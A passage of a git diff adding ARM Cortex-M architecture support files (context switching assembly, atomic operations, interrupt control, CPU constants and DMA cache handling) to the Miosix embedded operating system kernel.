\ + "0: msr psp, r1 \n"/*restore PROCESS sp*/ \ + " bx lr \n"/*return*/ \ + ); + +#else //__FPU_PRESENT==1 + +/* + * In this architecture, registers are saved in the following order: + * *ctxsave+32 --> r11 + * *ctxsave+28 --> r10 + * *ctxsave+24 --> r9 + * *ctxsave+20 --> r8 + * *ctxsave+16 --> r7 + * *ctxsave+12 --> r6 + * *ctxsave+8 --> r5 + * *ctxsave+4 --> r4 + * *ctxsave+0 --> psp + * + * NOTE: we could save the lr (EXC_RETURN) in ctxsave instead of the IRQ stack + * to save one instruction (the stmdb sp!, {lr} in saveContext), but that would + * increase every ctxsave array by 4 bytes and would actually be slower on MCUs + * with external RAM, as in that case the IRQ stack is faster + */ + +/** + * \internal + * \def saveContext() + * Save context from an interrupt
+ * Must be the first line of an IRQ where a context switch can happen. + * The IRQ must be "naked" to prevent the compiler from generating context save. + * + * A note on the dmb instruction, without it a race condition was observed + * between pauseKernel() and IRQrunScheduler(). pauseKernel() uses an strex + * instruction to store a value in the global variable kernel_running which is + * tested by the context switch code in IRQrunScheduler(). Without the memory + * barrier IRQrunScheduler() would occasionally read the previous value and + * perform a context switch while the kernel was paused, leading to deadlock. + * The failure was only observed within the exception_test() in the testsuite + * running on the stm32f429zi_stm32f4discovery. + */ +#define saveContext() \ + asm volatile("stmdb sp!, {lr} \n\t" /*save lr on MAIN stack*/ \ + "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ + "ldr r3, =ctxsave \n\t" /*get current context*/ \ + "ldr r0, [r3] \n\t" \ + "stmia r0, {r1,r4-r11} \n\t" /*save PROCESS sp + r4-r11*/ \ + "mov r4, r3 \n\t" /*save for restoreContext*/ \ + "dmb \n\t" \ + ); + +/** + * \def restoreContext() + * Restore context in an IRQ where saveContext() is used. Must be the last line + * of an IRQ where a context switch can happen. The IRQ must be "naked" to + * prevent the compiler from generating context restore. + */ +#define restoreContext() \ + asm volatile("ldr r0, [r4] \n\t" /*get current context*/ \ + "ldmia r0, {r1,r4-r11} \n\t" /*restore r4-r11 + r1=psp*/ \ + "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ + "ldmia sp!, {pc} \n\t" /*return*/ \ + ); + +#endif //__FPU_PRESENT==1 + +namespace miosix { + +inline void IRQinvokeScheduler() noexcept +{ + //NOTE: before Miosix 3 we used "svc 0" as yield also within the kernel, but + //now we have the dedicated PendSV IRQ to call the scheduler, so use that. + //Can't use NVIC_SetPendingIRQ as PendSV is an exception, not an IRQ + SCB->ICSR=SCB_ICSR_PENDSVSET_Msk; + //NOTE: due to the write buffer while doing the store to the SCB->ICSR, + //the CPU could execute ahead of the yield. Use dsb to prevent + //NOTE: a dmb is NOT enough, as the code pattern using this function can be: + // str r2, [r3, #4] //SCB->ICSR=SCB_ICSR_PENDSVSET_Msk; + // dmb sy + // cpsie i + // cpsid i + // and it's important that the store to set PENDSVSET is seen in the cycle + // when interrupts are enabled. However since cpsi* instruction do not read + // from memory a dmb can still allow the store to be delayed. This issue + // was first seen in CortexM33 + asm volatile("dsb":::"memory"); +} + +} //namespace miosix + +/** + * \} + */ diff --git a/miosix/arch/cpu/armv7m/interfaces-impl/endianness_impl.h b/miosix/arch/cpu/armv7m/interfaces-impl/endianness_impl.h new file mode 100644 index 000000000..f7f187690 --- /dev/null +++ b/miosix/arch/cpu/armv7m/interfaces-impl/endianness_impl.h @@ -0,0 +1 @@ +#include "../../common/cortexMx_endianness.h" diff --git a/miosix/arch/cpu/armv7m/interfaces-impl/interrupts_impl.h b/miosix/arch/cpu/armv7m/interfaces-impl/interrupts_impl.h new file mode 100644 index 000000000..31641a20b --- /dev/null +++ b/miosix/arch/cpu/armv7m/interfaces-impl/interrupts_impl.h @@ -0,0 +1,81 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +/** + * \addtogroup Interfaces + * \{ + */ + +#ifndef __NVIC_PRIO_BITS +#error "__NVIC_PRIO_BITS undefined" +#endif //__NVIC_PRIO_BITS + +/// Default interrupt priority. All interrupt priorities are set at boot to this +/// value. ARM Cortex use 0 for the highest priority and (1<<__NVIC_PRIO_BITS)-1 +/// for the lowest one. We chose to use the top 3/4 of the range for higher than +/// default priority and the bottom 1/4 of the range for lower than default. +/// With 4 bit priorities the default is 11 +/// With 3 bit priorities the default is 5 +/// With 2 bit priorities the default is 2 +constexpr int defaultIrqPriority=(0.75f*(1<<__NVIC_PRIO_BITS))-1; + +/// Minimum interrupt priority that the hardware provides +constexpr int minimumIrqPriority=(1<<__NVIC_PRIO_BITS)-1; + +inline void fastDisableIrq() noexcept +{ + //Since this function is inline there's the need for a memory barrier to + //avoid aggressive reordering + asm volatile("cpsid i":::"memory"); +} + +inline void fastEnableIrq() noexcept +{ + //Since this function is inline there's the need for a memory barrier to + //avoid aggressive reordering + asm volatile("cpsie i":::"memory"); +} + +inline bool areInterruptsEnabled() noexcept +{ + int i; + asm volatile("mrs %0, primask \n\t":"=r"(i)); + if(i!=0) return false; + return true; +} + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/arch/cpu/armv7m/interfaces-impl/mpu_impl.h b/miosix/arch/cpu/armv7m/interfaces-impl/mpu_impl.h new file mode 100644 index 000000000..0f88066e5 --- /dev/null +++ b/miosix/arch/cpu/armv7m/interfaces-impl/mpu_impl.h @@ -0,0 +1 @@ +#include "../../common/cortexMx_mpu.h" diff --git a/miosix/arch/cpu/armv7m/interfaces-impl/userspace_impl.h b/miosix/arch/cpu/armv7m/interfaces-impl/userspace_impl.h new file mode 100644 index 000000000..909798a7c --- /dev/null +++ b/miosix/arch/cpu/armv7m/interfaces-impl/userspace_impl.h @@ -0,0 +1 @@ +#include "../../common/cortexMx_userspace.h" diff --git a/miosix/arch/cpu/armv8m/interfaces-impl/atomic_ops_impl.h b/miosix/arch/cpu/armv8m/interfaces-impl/atomic_ops_impl.h new file mode 100644 index 000000000..6a9dbbecc --- /dev/null +++ b/miosix/arch/cpu/armv8m/interfaces-impl/atomic_ops_impl.h @@ -0,0 +1,104 @@ +/*************************************************************************** + * Copyright (C) 2013-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +inline int atomicSwap(volatile int *p, int v) +{ + int result; + volatile uint32_t *ptr=reinterpret_cast(p); + do { + result=__LDREXW(ptr); + } while(__STREXW(v,ptr)); + asm volatile("":::"memory"); + return result; +} + +inline void atomicAdd(volatile int *p, int incr) +{ + int value; + volatile uint32_t *ptr=reinterpret_cast(p); + do { + value=__LDREXW(ptr); + } while(__STREXW(value+incr,ptr)); + asm volatile("":::"memory"); +} + +inline int atomicAddExchange(volatile int *p, int incr) +{ + int result; + volatile uint32_t *ptr=reinterpret_cast(p); + do { + result=__LDREXW(ptr); + } while(__STREXW(result+incr,ptr)); + asm volatile("":::"memory"); + return result; +} + +inline int atomicCompareAndSwap(volatile int *p, int prev, int next) +{ + int result; + volatile uint32_t *ptr=reinterpret_cast(p); + do { + result=__LDREXW(ptr); + if(result!=prev) + { + __CLREX(); + return result; + } + } while(__STREXW(next,ptr)); + asm volatile("":::"memory"); + return result; +} + +inline void *atomicFetchAndIncrement(void * const volatile * p, int offset, + int incr) +{ + void *result; + volatile uint32_t *rcp; + int rc; + do { + for(;;) + { + result=*p; + if(result==0) return 0; + rcp=reinterpret_cast(result)+offset; + rc=__LDREXW(rcp); + asm volatile("":::"memory"); + if(result==*p) break; + __CLREX(); + } + } while(__STREXW(rc+incr,rcp)); + asm volatile("":::"memory"); + return result; +} + +} //namespace miosix diff --git a/miosix/arch/cpu/armv8m/interfaces-impl/cpu.cpp b/miosix/arch/cpu/armv8m/interfaces-impl/cpu.cpp new file mode 100644 index 000000000..44c4e2673 --- /dev/null +++ b/miosix/arch/cpu/armv8m/interfaces-impl/cpu.cpp @@ -0,0 +1,85 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces_private/cpu.h" +#include "interfaces_private/userspace.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void initKernelThreadCtxsave(unsigned int *ctxsave, void (*pc)(void *(*)(void*),void*), + unsigned int *sp, unsigned int *spLimit, + void *(*arg0)(void*), void *arg1) noexcept +{ + unsigned int *stackPtr=sp; + //Stack is full descending, so decrement first + stackPtr--; *stackPtr=0x01000000; //--> xPSR + stackPtr--; *stackPtr=reinterpret_cast(pc); //--> pc + stackPtr--; *stackPtr=0xffffffff; //--> lr + stackPtr--; *stackPtr=0; //--> r12 + stackPtr--; *stackPtr=0; //--> r3 + stackPtr--; *stackPtr=0; //--> r2 + stackPtr--; *stackPtr=reinterpret_cast(arg1); //--> r1 + stackPtr--; *stackPtr=reinterpret_cast(arg0); //--> r0 + + ctxsave[0]=reinterpret_cast(stackPtr); //--> psp + //leaving the content of r4-r11 uninitialized + #if __FPU_PRESENT==1 + //NOTE: only armv7m with fpu has lr in ctxsave + ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops + //leaving the content of s16-s31 uninitialized + #endif //__FPU_PRESENT==1 + + // ARMv8-M stack pointer limit register + #if __FPU_PRESENT==1 + ctxsave[26]=reinterpret_cast(spLimit); + #else //__FPU_PRESENT==1 + ctxsave[9]=reinterpret_cast(spLimit); + #endif //__FPU_PRESENT==1 +} + +void IRQportableStartKernel() noexcept +{ + //Enable fault handlers + SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk + | SCB_SHCSR_MEMFAULTENA_Msk; + //Enable traps for division by zero. Trap for unaligned memory access + //was removed as gcc starting from 4.7.2 generates unaligned accesses by + //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) + SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; + + //create a temporary space to save current registers. This data is useless + //since there's no way to stop the sheduler, but we need to save it anyway. + unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; + ctxsave[getCurrentCoreId()]=s_ctxsave;//make global ctxsave point to it + IRQinvokeScheduler(); + __enable_fault_irq(); + __enable_irq(); + //Never reaches here +} + +} //namespace miosix diff --git a/miosix/arch/cpu/armv8m/interfaces-impl/cpu_const_impl.h b/miosix/arch/cpu/armv8m/interfaces-impl/cpu_const_impl.h new file mode 100644 index 000000000..677e32e42 --- /dev/null +++ b/miosix/arch/cpu/armv8m/interfaces-impl/cpu_const_impl.h @@ -0,0 +1,91 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +#ifndef __FPU_PRESENT +#define __FPU_PRESENT 0 //__FPU_PRESENT undefined means no FPU +#endif +#if (__FPU_PRESENT!=0) && (__FPU_USED!=1) +#error "__FPU_USED should be 1" +#endif + +namespace miosix { + +/** + * \addtogroup Interfaces + * \{ + */ + +#if __FPU_PRESENT==1 + +/// \internal Size in words of vector to store CPU context during context switch +/// ((10+16+1)*4=108Bytes). Only sp, r4-r11, EXC_RETURN, s16-s31, psplim are saved +/// here, since r0-r3,r12,lr,pc,xPSR, old sp and s0-s15,fpscr are saved by +/// hardware on the process stack on armv7m_fpu CPUs. EXC_RETURN, or the lr, +/// value to use to return from the exception is necessary to know if the +/// thread has used fp regs, as an extension specific to armv7m_fpu CPUs. +const unsigned char CTXSAVE_SIZE=10+16+1; + +/// \internal Size of additional context saved on the stack during context switch. +/// If zero, this architecture does not save anything on stack during context +/// save. Size is in bytes, not words. MUST be divisible by 4. This constant is +/// used to increase the stack size by the size of context save frame. +/// (8+17)*4=100Bytes +/// 8 registers=r0-r3,r12,lr,pc,xPSR +/// 17 registers=s0-s15,fpscr +const unsigned int CTXSAVE_ON_STACK=(8+17)*4; + +#else //__FPU_PRESENT==1 + +/// \internal Size in words of vector to store CPU context during context switch +/// (9+1*4=40Bytes). Only sp, r4-r11, psplim are saved here, since +/// r0-r3,r12,lr,pc,xPSR and old sp are saved by hardware on the process stack +/// on armv7m CPUs. +const unsigned char CTXSAVE_SIZE=9+1; + +/// \internal Size of additional context saved on the stack during context switch. +/// If zero, this architecture does not save anything on stack during context +/// save. Size is in bytes, not words. MUST be divisible by 4. This constant is +/// used to increase the stack size by the size of context save frame. +const unsigned int CTXSAVE_ON_STACK=32; + +#endif //__FPU_PRESENT==1 + +/// \internal Stack alignment required by the CPU +const unsigned int CTXSAVE_STACK_ALIGNMENT=8; + +/// \internal Offset in words to retrieve the thread stack pointer in ctxsave +const unsigned int STACK_OFFSET_IN_CTXSAVE=0; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/arch/cpu/armv8m/interfaces-impl/cpu_impl.h b/miosix/arch/cpu/armv8m/interfaces-impl/cpu_impl.h new file mode 100644 index 000000000..ed3153d1b --- /dev/null +++ b/miosix/arch/cpu/armv8m/interfaces-impl/cpu_impl.h @@ -0,0 +1,202 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +#ifndef __FPU_PRESENT +#define __FPU_PRESENT 0 //__FPU_PRESENT undefined means no FPU +#endif + +/** + * \addtogroup Interfaces + * \{ + */ + +#if __FPU_PRESENT==1 + +/* + * In this architecture, registers are saved in the following order: + * *ctxsave+104 --> psplim + * *ctxsave+100 --> s31 + * ... + * *ctxsave+40 --> s16 + * *ctxsave+36 --> lr (contains EXC_RETURN whose bit #4 tells if fpu is used) + * *ctxsave+32 --> r11 + * *ctxsave+28 --> r10 + * *ctxsave+24 --> r9 + * *ctxsave+20 --> r8 + * *ctxsave+16 --> r7 + * *ctxsave+12 --> r6 + * *ctxsave+8 --> r5 + * *ctxsave+4 --> r4 + * *ctxsave+0 --> psp + */ + +/** + * \internal + * \def saveContext() + * Save context from an interrupt
+ * Must be the first line of an IRQ where a context switch can happen. + * The IRQ must be "naked" to prevent the compiler from generating context save. + * + * A note on the dmb instruction, without it a race condition was observed + * between pauseKernel() and IRQrunScheduler(). pauseKernel() uses an strex + * instruction to store a value in the global variable kernel_running which is + * tested by the context switch code in IRQrunScheduler(). Without the memory + * barrier IRQrunScheduler() would occasionally read the previous value and + * perform a context switch while the kernel was paused, leading to deadlock. + * The failure was only observed within the exception_test() in the testsuite + * running on the stm32f429zi_stm32f4discovery. + * TODO: According to ARM's docs, the DMB should probably have been a CLREX. + * On SMP, the DMB should be a CLREX followed by a DSB, because DMB just + * ensures no reordering, while DSB also stalls until all writes have been + * committed. This is important to ensure the state of the thread stays + * consistent if it's moved to another core. + */ +#define saveContext() \ + asm volatile(" mrs r1, psp \n"/*get PROCESS stack ptr */ \ + " ldr r3, =ctxsave \n"/*get current context */ \ + " ldr r0, [r3] \n" \ + " stmia r0!, {r1,r4-r11,lr} \n"/*save r1(psp),r4-r11,lr */ \ + " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ + " bmi 0f \n" \ + " vstmia.32 r0, {s16-s31} \n"/*save s16-s31 if we need*/ \ + "0: mov r4, r3 \n"/*save for restoreContext*/ \ + " dmb \n" \ + ); + +/** + * \def restoreContext() + * Restore context in an IRQ where saveContext() is used. Must be the last line + * of an IRQ where a context switch can happen. The IRQ must be "naked" to + * prevent the compiler from generating context restore. + */ +#define restoreContext() \ + asm volatile(" ldr r0, [r4] \n"/*get current context */ \ + " ldmia r0!, {r1,r4-r11,lr} \n"/*load r1(psp),r4-r11,lr */ \ + " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ + " bmi 0f \n" \ + " vldmia.32 r0, {s16-s31} \n"/*restore s16-s31 if need*/ \ + "0: ldr r0, [r0, #64] \n"/*get psplim*/ \ + " msr psplim, r0 \n"/*update PROCESS sp limit*/ \ + " msr psp, r1 \n"/*restore PROCESS sp*/ \ + " bx lr \n"/*return*/ \ + ); + +#else //__FPU_PRESENT==1 + +/* + * In this architecture, registers are saved in the following order: + * *ctxsave+36 --> psplim + * *ctxsave+32 --> r11 + * *ctxsave+28 --> r10 + * *ctxsave+24 --> r9 + * *ctxsave+20 --> r8 + * *ctxsave+16 --> r7 + * *ctxsave+12 --> r6 + * *ctxsave+8 --> r5 + * *ctxsave+4 --> r4 + * *ctxsave+0 --> psp + * + * NOTE: we could save the lr (EXC_RETURN) in ctxsave instead of the IRQ stack + * to save one instruction (the stmdb sp!, {lr} in saveContext), but that would + * increase every ctxsave array by 4 bytes and would actually be slower on MCUs + * with external RAM, as in that case the IRQ stack is faster + */ + +/** + * \internal + * \def saveContext() + * Save context from an interrupt
+ * Must be the first line of an IRQ where a context switch can happen. + * The IRQ must be "naked" to prevent the compiler from generating context save. + * + * A note on the dmb instruction, without it a race condition was observed + * between pauseKernel() and IRQrunScheduler(). pauseKernel() uses an strex + * instruction to store a value in the global variable kernel_running which is + * tested by the context switch code in IRQrunScheduler(). Without the memory + * barrier IRQrunScheduler() would occasionally read the previous value and + * perform a context switch while the kernel was paused, leading to deadlock. + * The failure was only observed within the exception_test() in the testsuite + * running on the stm32f429zi_stm32f4discovery. + */ +#define saveContext() \ + asm volatile("stmdb sp!, {lr} \n\t" /*save lr on MAIN stack*/ \ + "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ + "ldr r3, =ctxsave \n\t" /*get current context*/ \ + "ldr r0, [r3] \n\t" \ + "stmia r0, {r1,r4-r11} \n\t" /*save PROCESS sp + r4-r11*/ \ + "mov r4, r3 \n\t" /*save for restoreContext*/ \ + "dmb \n\t" \ + ); + +/** + * \def restoreContext() + * Restore context in an IRQ where saveContext() is used. Must be the last line + * of an IRQ where a context switch can happen. The IRQ must be "naked" to + * prevent the compiler from generating context restore. + */ +#define restoreContext() \ + asm volatile("ldr r0, [r4] \n\t" /*get current context*/ \ + "ldmia r0!, {r1,r4-r11} \n\t" /*restore r4-r11 + r1=psp*/ \ + "ldr r0, [r0] \n\t" /*get psplim*/ \ + "msr psplim, r0 \n\t" /*update PROCESS sp limit*/ \ + "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ + "ldmia sp!, {pc} \n\t" /*return*/ \ + ); + +#endif //__FPU_PRESENT==1 + +namespace miosix { + +inline void IRQinvokeScheduler() noexcept +{ + //NOTE: before Miosix 3 we used "svc 0" as yield also within the kernel, but + //now we have the dedicated PendSV IRQ to call the scheduler, so use that. + //Can't use NVIC_SetPendingIRQ as PendSV is an exception, not an IRQ + SCB->ICSR=SCB_ICSR_PENDSVSET_Msk; + //NOTE: due to the write buffer while doing the store to the SCB->ICSR, + //the CPU could execute ahead of the yield. Use dsb to prevent + //NOTE: a dmb is NOT enough, as the code pattern using this function can be: + // str r2, [r3, #4] //SCB->ICSR=SCB_ICSR_PENDSVSET_Msk; + // dmb sy + // cpsie i + // cpsid i + // and it's important that the store to set PENDSVSET is seen in the cycle + // when interrupts are enabled. However since cpsi* instruction do not read + // from memory a dmb can still allow the store to be delayed. This issue + // was first seen in CortexM33 + asm volatile("dsb":::"memory"); +} + +} //namespace miosix + +/** + * \} + */ diff --git a/miosix/arch/cpu/armv8m/interfaces-impl/endianness_impl.h b/miosix/arch/cpu/armv8m/interfaces-impl/endianness_impl.h new file mode 100644 index 000000000..f7f187690 --- /dev/null +++ b/miosix/arch/cpu/armv8m/interfaces-impl/endianness_impl.h @@ -0,0 +1 @@ +#include "../../common/cortexMx_endianness.h" diff --git a/miosix/arch/cpu/armv8m/interfaces-impl/interrupts_impl.h b/miosix/arch/cpu/armv8m/interfaces-impl/interrupts_impl.h new file mode 100644 index 000000000..ca5ded9be --- /dev/null +++ b/miosix/arch/cpu/armv8m/interfaces-impl/interrupts_impl.h @@ -0,0 +1,83 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +/** + * \addtogroup Interfaces + * \{ + */ + +#ifndef __NVIC_PRIO_BITS +#error "__NVIC_PRIO_BITS undefined" +#endif //__NVIC_PRIO_BITS + +/// Default interrupt priority. All interrupt priorities are set at boot to this +/// value. ARM Cortex use 0 for the highest priority and (1<<__NVIC_PRIO_BITS)-1 +/// for the lowest one. We chose to use the top 3/4 of the range for higher than +/// default priority and the bottom 1/4 of the range for lower than default. +/// With 4 bit priorities the default is 11 +/// With 3 bit priorities the default is 5 +/// With 2 bit priorities the default is 2 +constexpr int defaultIrqPriority=(0.75f*(1<<__NVIC_PRIO_BITS))-1; + +/// Minimum interrupt priority that the hardware provides +constexpr int minimumIrqPriority=(1<<__NVIC_PRIO_BITS)-1; + +inline void fastDisableIrq() noexcept +{ + //Since this function is inline there's the need for a memory barrier to + //avoid aggressive reordering + asm volatile("cpsid i \n\t" + "dsb \n\t":::"memory"); +} + +inline void fastEnableIrq() noexcept +{ + //Since this function is inline there's the need for a memory barrier to + //avoid aggressive reordering + asm volatile("cpsie i \n\t" + "dsb \n\t":::"memory"); +} + +inline bool areInterruptsEnabled() noexcept +{ + int i; + asm volatile("mrs %0, primask \n\t":"=r"(i)); + if(i!=0) return false; + return true; +} + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/arch/cpu/armv8m/interfaces-impl/mpu_impl.h b/miosix/arch/cpu/armv8m/interfaces-impl/mpu_impl.h new file mode 100644 index 000000000..0f88066e5 --- /dev/null +++ b/miosix/arch/cpu/armv8m/interfaces-impl/mpu_impl.h @@ -0,0 +1 @@ +#include "../../common/cortexMx_mpu.h" diff --git a/miosix/arch/cpu/armv8m/interfaces-impl/userspace_impl.h b/miosix/arch/cpu/armv8m/interfaces-impl/userspace_impl.h new file mode 100644 index 000000000..909798a7c --- /dev/null +++ b/miosix/arch/cpu/armv8m/interfaces-impl/userspace_impl.h @@ -0,0 +1 @@ +#include "../../common/cortexMx_userspace.h" diff --git a/miosix/arch/cpu/common/cortexMx_cache.cpp b/miosix/arch/cpu/common/cortexMx_cache.cpp new file mode 100644 index 000000000..6111ea589 --- /dev/null +++ b/miosix/arch/cpu/common/cortexMx_cache.cpp @@ -0,0 +1,59 @@ +/*************************************************************************** + * Copyright (C) 2018 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "cortexMx_cache.h" +#include + +using namespace std; + +namespace miosix { + +#if defined(__DCACHE_PRESENT) && (__DCACHE_PRESENT==1) +/** + * Align a generic buffer to another one that contains the first one, but the + * start size is aligned to a cache line + */ +static pair alignBuffer(void *buffer, int size) +{ + auto bufferAddr=reinterpret_cast(buffer); + + auto base=bufferAddr & (~(cacheLine-1)); + size+=bufferAddr-base; + + return make_pair(reinterpret_cast(base),size); +} + +void markBufferAfterDmaRead(void *buffer, int size) +{ + //Since the current cache policy is write-through, we just invalidate the + //cache lines corresponding to the buffer. No need to flush (clean) the cache. + auto result=alignBuffer(buffer,size); + SCB_InvalidateDCache_by_Addr(result.first,result.second); +} +#endif + +} //namespace miosix diff --git a/miosix/arch/cpu/common/cortexMx_cache.h b/miosix/arch/cpu/common/cortexMx_cache.h new file mode 100644 index 000000000..75324d92d --- /dev/null +++ b/miosix/arch/cpu/common/cortexMx_cache.h @@ -0,0 +1,87 @@ +/*************************************************************************** + * Copyright (C) 2018-2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/* + * README: Essentials about how cache support is implemented. + * + * Caches in the Cortex M7 are transparent to software, except when using + * the DMA. As the DMA reads and writes directly to memory, explicit management + * is required. The default cache policy is write-back, but following the + * preferred cache policy described in interfaces/cache.h, this code assumes + * that the cache has been configured as write-through by the MPU code. + * Unfortunately in ARM Cortex, cache configuration is done through the MPU, + * thus this code is tightly coupled to the MPU 